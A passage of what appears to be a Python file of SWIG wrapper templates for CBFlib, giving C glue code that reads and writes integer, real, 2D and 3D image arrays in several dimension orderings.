int *dimfast, int *dimmid, int *dimslow, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_realarrayparameters_wdims_fs(self, &comp,binary_id, &elsiz, &elem, &byteorder,&df,&dm,&ds,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_realarrayparameters_wdims_fs",[],["int compression","int binary_id", "int elsize", "int elements", "char **bo", "int *bolen", "int dimfast", "int dimmid", "int dimslow", "int padding"]], "cbf_get_realarrayparameters_wdims_sf":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elements, int *dimslow, int *dimmid, int *dimfast, int *padding} get_realarrayparameters_wdims_sf; void get_realarrayparameters_wdims_sf(int *compression,int *binary_id, int *elsize, int *elements, char **bo, int *bolen, int *dimslow, int *dimmid, int *dimfast, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_realarrayparameters_wdims_sf(self, &comp,binary_id, &elsiz, &elem, &byteorder,&ds,&dm,&df,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_realarrayparameters_wdims_sf",[],["int compression","int binary_id", "int elsize", "int elements", "char **bo", "int *bolen", "int dimslow", "int dimmid", "int dimfast", "int padding"]], "cbf_get_integerarray":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_integerarray_as_string; // Get the length correct void get_integerarray_as_string(char **s, int *slen){ int binary_id, elsigned, elunsigned; size_t elements, elements_read, elsize; int minelement, maxelement; unsigned int compression; void * array; *slen = 0; /* Initialise in case of problems */ cbf_failnez(cbf_get_integerarrayparameters(self, &compression, &binary_id, &elsize, &elsigned, &elunsigned, &elements, &minelement, &maxelement)); if ((array=malloc(elsize*elements))) { /* cbf_failnez (cbf_select_column(cbf,colnum)) */ cbf_failnez (cbf_get_integerarray(self, &binary_id, (void *)array, elsize, elsigned, elements, &elements_read)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*elements; *s = (char *) array; } ""","get_integerarray_as_string",[],["(Binary)String"] ], "cbf_get_image":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_image_as_string; // Get the length correct void get_image_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimslow, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_image(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_image_as_string",["int element_number", "int elsize", "int elsign", "int ndimslow", "int ndimfast"],["(Binary)String"] ], "cbf_get_image_fs":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_image_fs_as_string; // Get the length correct void get_image_fs_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimfast, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_image_fs(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimfast, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_image_fs_as_string",["int element_number", "int elsize", "int elsign", "int ndimfast", "int ndimslow"],["(Binary)String"] ], "cbf_get_image_sf":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_image_fs_as_string; // Get the length correct void get_image_sf_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimslow, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_image_sf(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_image_sf_as_string",["int element_number", "int elsize", "int elsign", "int ndimslow", "int ndimfast"],["(Binary)String"] ], "cbf_get_real_image":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_image_as_string; // Get the length correct void get_real_image_as_string(int element_number, char **s, int *slen, int elsize, int ndimslow, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_real_image(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_real_image_as_string",["int element_number", "int elsize", "int ndimslow", "int ndimfast"],["(Binary)String"] ], "cbf_get_real_image_fs":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_image_fs_as_string; // Get the length correct void get_real_image_fs_as_string(int element_number, char **s, int *slen, int elsize, int ndimfast, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_real_image_fs(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimfast, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_real_image_fs_as_string",["int element_number", "int elsize", "int ndimfast", "int ndimslow"],["(Binary)String"] ], "cbf_get_real_image_sf":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_image_sf_as_string; // Get the length correct void get_real_image_sf_as_string(int element_number, char **s, int *slen, int elsize, int ndimslow, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimslow))) { cbf_failnez (cbf_get_real_image_sf(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimslow; *s = (char *) array; } ""","get_real_image_sf_as_string",["int element_number", "int elsize", "int ndimslow", "int ndimfast"],["(Binary)String"] ], "cbf_get_3d_image":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_3d_image_as_string; // Get the length correct void get_3d_image_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimfast, int ndimmid, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_3d_image(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimslow, (size_t)ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_3d_image_as_string",["int element_number", "int elsize", "int elsign", "int ndimslow", "int ndimmid", "int ndimfast"],["(Binary)String"] ], "cbf_get_3d_image_fs":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_3d_image_fs_as_string; // Get the length correct void get_3d_image_fs_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimfast, int ndimmid, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_3d_image_fs(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimfast, (size_t)ndimmid, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_3d_image_fs_as_string",["int element_number", "int elsize", "int elsign", "int ndimfast", "int ndimmid", "int ndimslow"],["(Binary)String"] ], "cbf_get_3d_image_sf":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_3d_image_sf_as_string; // Get the length correct void get_3d_image_sf_as_string(int element_number, char **s, int *slen, int elsize, int elsign, int ndimfast, int ndimmid, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_3d_image_sf(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, elsign, (size_t) ndimslow, (size_t)ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_3d_image_sf_as_string",["int element_number", "int elsize", "int elsign", "int ndimslow", "int ndimmid", "int ndimfast"],["(Binary)String"] ], "cbf_get_real_3d_image":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_3d_image_as_string; // Get the length correct void get_real_3d_image_as_string(int element_number, char **s, int *slen, int elsize, int ndimslow, int ndimmid, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_real_3d_image(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimslow, (size_t)ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_real_3d_image_as_string",["int element_number", "int elsize", "int ndimslow", "int ndimmid", "int ndimfast"],["(Binary)String"] ], "cbf_get_real_3d_image_fs":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_3d_image_fs_as_string; // Get the length correct void get_real_3d_image_fs_as_string(int element_number, char **s, int *slen, int elsize, int ndimfast, int ndimmid, int ndimslow){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_real_3d_image_fs(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimfast, (size_t)ndimmid, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_real_3d_image_fs_as_string",["int element_number", "int elsize", "int ndimfast", "int ndimmid", "int ndimslow"],["(Binary)String"] ], "cbf_get_real_3d_image_sf":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_real_3d_image_sf_as_string; // Get the length correct void get_real_3d_image_sf_as_string(int element_number, char **s, int *slen, int elsize, int ndimslow, int ndimmid, int ndimfast){ void *array; int reserved = 0; *slen = 0; /* Initialise in case of problems */ if ((array=malloc(elsize*ndimfast*ndimmid*ndimslow))) { cbf_failnez (cbf_get_real_3d_image_sf(self, reserved, (unsigned int)element_number, (void *)array, (size_t)elsize, (size_t) ndimslow, (size_t)ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*ndimfast*ndimmid*ndimslow; *s = (char *) array; } ""","get_real_3d_image_sf_as_string",["int element_number", "int elsize", "int ndimslow", "int ndimmid", "int ndimfast"],["(Binary)String"] ], "cbf_get_realarray":[""" // Ensure we free the local temporary %cstring_output_allocate_size(char ** s, int *slen, free(*$1)) get_realarray_as_string; // Get the length correct void get_realarray_as_string(char **s, int *slen){ int binary_id; size_t elements, elements_read, elsize; unsigned int compression; void * array; *slen = 0; /* Initialise in case of problems */ cbf_failnez(cbf_get_realarrayparameters(self, &compression, &binary_id, &elsize, &elements)); if ((array=malloc(elsize*elements))) { /* cbf_failnez (cbf_select_column(cbf,colnum)) */ cbf_failnez (cbf_get_realarray(self, &binary_id, (void *)array, elsize, elements, &elements_read)); }else{ cbf_failnez(CBF_ALLOC); } *slen = elsize*elements; *s = (char *) array; } ""","get_realarray_as_string",[],["(Binary)String"] ], "cbf_set_integerarray":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_integerarray; void set_integerarray(unsigned int compression, int binary_id, char *data, int len, int elsize, int elsigned, int elements){ /* safety check on args */ size_t els, ele; void *array; if(len == elsize*elements){ array = data; els = elsize; ele = elements; cbf_failnez(cbf_set_integerarray (self, compression, binary_id, (void *) data, (size_t) elsize, elsigned, (size_t) elements)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_integerarray", [ "int compression", "int binary_id","(binary) String data", "int elsize", "int elsigned","int elements"],[]], "cbf_set_integerarray_wdims":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_integerarray_wdims; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_integerarray_wdims; void set_integerarray_wdims(unsigned int compression, int binary_id, char *data, int len, int elsize, int elsigned, int elements, char *bo, int bolen, int dimfast, int dimmid, int dimslow, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_integerarray_wdims (self, compression, binary_id, (void *) data, (size_t) elsize, elsigned, (size_t) elements, (const char *)byteorder, (size_t)dimfast, (size_t)dimmid, (size_t)dimslow, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_integerarray_wdims", [ "int compression", "int binary_id","(binary) String data", "int elsize", "int elsigned", "int elements", "String byteorder", "int dimfast", "int dimmid", "int dimslow", "int padding"],[]], "cbf_set_integerarray_wdims_sf":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_integerarray_wdims_sf; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_integerarray_wdims_sf; void set_integerarray_wdims_sf(unsigned int compression, int binary_id, char *data, int len, int elsize, int elsigned, int elements, char *bo, int bolen, int dimslow, int dimmid, int dimfast, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_integerarray_wdims_sf (self, compression, binary_id, (void *) data, (size_t) elsize, elsigned, (size_t) elements, (const char *)byteorder, (size_t)dimslow, (size_t)dimmid, (size_t)dimfast, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_integerarray_wdims_sf", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elsigned","int elements", "String byteorder", "int dimslow", "int dimmid", "int dimfast", "int padding"],[]], "cbf_set_integerarray_wdims_fs":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_integerarray_wdims_fs; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_integerarray_wdims_fs; void set_integerarray_wdims_fs(unsigned int compression, int binary_id, char *data, int len, int elsize, int elsigned, int elements, char *bo, int bolen, int dimfast, int dimmid, int dimslow, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_integerarray_wdims_fs (self, compression, binary_id, (void *) data, (size_t) elsize, elsigned, (size_t) elements, (const char *)byteorder, (size_t)dimfast, (size_t)dimmid, (size_t)dimslow, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_integerarray_wdims_fs", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elsigned","int elements", "String byteorder", "int dimfast", "int dimmid", "int dimslow", "int padding"],[]], "cbf_set_realarray":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_realarray; void set_realarray(unsigned int compression, int binary_id, char *data, int len, int elsize, int elements){ /* safety check on args */ size_t els, ele; void *array; if(len == elsize*elements){ array = data; els = elsize; ele = elements; cbf_failnez(cbf_set_realarray (self, compression, binary_id, (void *) data, (size_t) elsize, (size_t) elements)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_realarray", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elements"],[]], "cbf_set_realarray_wdims":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_realarray_wdims; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_realarray_wdims; void set_realarray_wdims(unsigned int compression, int binary_id, char *data, int len, int elsize, int elements, char *bo, int bolen, int dimfast, int dimmid, int dimslow, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_realarray_wdims (self, compression, binary_id, (void *) data, (size_t) elsize, (size_t) elements, (const char *)byteorder, (size_t)dimfast, (size_t)dimmid, (size_t)dimslow, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_realarray_wdims", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elements", "String byteorder", "int dimfast", "int dimmid", "int dimslow", "int padding"],[]], "cbf_set_realarray_wdims_sf":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_realarray_wdims_sf; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_realarray_wdims_sf; void set_realarray_wdims_sf(unsigned int compression, int binary_id, char *data, int len, int elsize, int elements, char *bo, int bolen, int dimslow, int dimmid, int dimfast, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_realarray_wdims_sf (self, compression, binary_id, (void *) data, (size_t) elsize, (size_t) elements, (const char *)byteorder, (size_t) dimslow, (size_t) dimmid, (size_t) dimfast, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_realarray_wdims_sf", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elements", "String byteorder", "int dimslow", "int dimmid", "int dimfast", "int padding"],[]], "cbf_set_realarray_wdims_fs":[""" /* CBFlib must NOT modify the data string nor the byteorder string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_realarray_wdims_fs; %apply (char *STRING, int LENGTH) { (char *bo, int bolen) } set_realarray_wdims_fs; void set_realarray_wdims_fs(unsigned int compression, int binary_id, char *data, int len, int elsize, int elements, char *bo, int bolen, int dimfast, int dimmid, int dimslow, int padding){ /* safety check on args */ size_t els, ele; void *array; char byteorder[15]; if(len == elsize*elements && elements==dimfast*dimmid*dimslow){ array = data; els = elsize; ele = elements; strncpy(byteorder,bo,bolen<15?bolen:14); byteorder[bolen<15?bolen:14] = 0; cbf_failnez(cbf_set_realarray_wdims_fs (self, compression, binary_id, (void *) data, (size_t) elsize, (size_t) elements, (const char *)byteorder, (size_t) dimfast, (size_t) dimmid, (size_t) dimslow, (size_t)padding)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_realarray_wdims_fs", [ "int compression", "int binary_id","(binary) String data", "int elsize","int elements", "String byteorder", "int dimfast", "int dimmid", "int dimslow", "int padding"],[]], "cbf_set_image":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_image; void set_image(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimslow, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_image (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_image", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimslow", "int dimfast"],[]], "cbf_set_image_fs":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_image; void set_image_fs(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimfast, int ndimslow){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_image (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimfast, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_image_fs", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimfast", "int dimslow"],[]], "cbf_set_image_sf":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_image_sf; void set_image_sf(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimslow, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_image_sf (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_image_sf", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimslow", "int dimfast"],[]], "cbf_set_real_image":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_image; void set_real_image(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimslow, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_image (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_image", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimslow", "int dimfast"],[]], "cbf_set_real_image_fs":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_image; void set_real_image_fs(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimfast, int ndimslow){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_image_fs (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimfast, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_image_fs", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimfast", "int dimslow"],[]], "cbf_set_real_image_sf":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_image_sf; void set_real_image_sf(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimslow, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_image_sf (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimslow, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_image_sf", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimslow", "int dimfast"],[]], "cbf_set_3d_image":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_3d_image; void set_3d_image(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimslow, int ndimmid, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_3d_image (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimslow, (size_t) ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_3d_image", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimslow", "int dimmid", "int dimfast"],[]], "cbf_set_3d_image_fs":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_3d_image; void set_3d_image_fs(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimfast, int ndimmid, int ndimslow){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_3d_image_fs (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimfast, (size_t) ndimmid, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_3d_image_fs", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimfast", "int dimmid", "int dimslow"],[]], "cbf_set_3d_image_sf":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_3d_image; void set_3d_image_sf(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int elsign, int ndimslow, int ndimmid, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_3d_image_sf (self, reserved, element_number, compression, (void *) data, (size_t) elsize, elsign, (size_t) ndimslow, (size_t) ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_3d_image_sf", [ "int element_number","int compression","(binary) String data", "int elsize", "int elsign", "int dimslow", "int dimmid", "int dimfast"],[]], "cbf_set_real_3d_image":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_3d_image_sf; void set_real_3d_image(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimslow, int ndimmid, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_3d_image (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimslow, (size_t)ndimmid, (size_t)ndimfast)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_3d_image", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimslow", "int dimmid", "int dimfast"],[]], "cbf_set_real_3d_image_fs":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_3d_image_fs; void set_real_3d_image_fs(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimfast, int ndimmid, int ndimslow){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_3d_image_fs (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimfast, (size_t)ndimmid, (size_t)ndimslow)); }else{ cbf_failnez(CBF_ARGUMENT); } } ""","set_real_3d_image_fs", [ "int element_number","int compression","(binary) String data", "int elsize", "int dimfast", "int dimmid", "int dimslow"],[]], "cbf_set_real_3d_image_sf":[""" /* CBFlib must NOT modify the data string which belongs to the scripting language we will get and check the length via a typemap */ %apply (char *STRING, int LENGTH) { (char *data, int len) } set_real_3d_image_sf; void set_real_3d_image_sf(unsigned int element_number, unsigned int compression, char *data, int len, int elsize, int ndimslow, int ndimmid, int ndimfast){ /* safety check on args */ size_t els; unsigned int reserved; void *array; if(len == elsize*ndimslow*ndimmid*ndimfast){ array = data; els = elsize; reserved = 0; cbf_failnez(cbf_set_real_3d_image_sf (self, reserved, element_number, compression, (void *) data, (size_t) elsize, (size_t) ndimslow, (size_t)ndimmid, 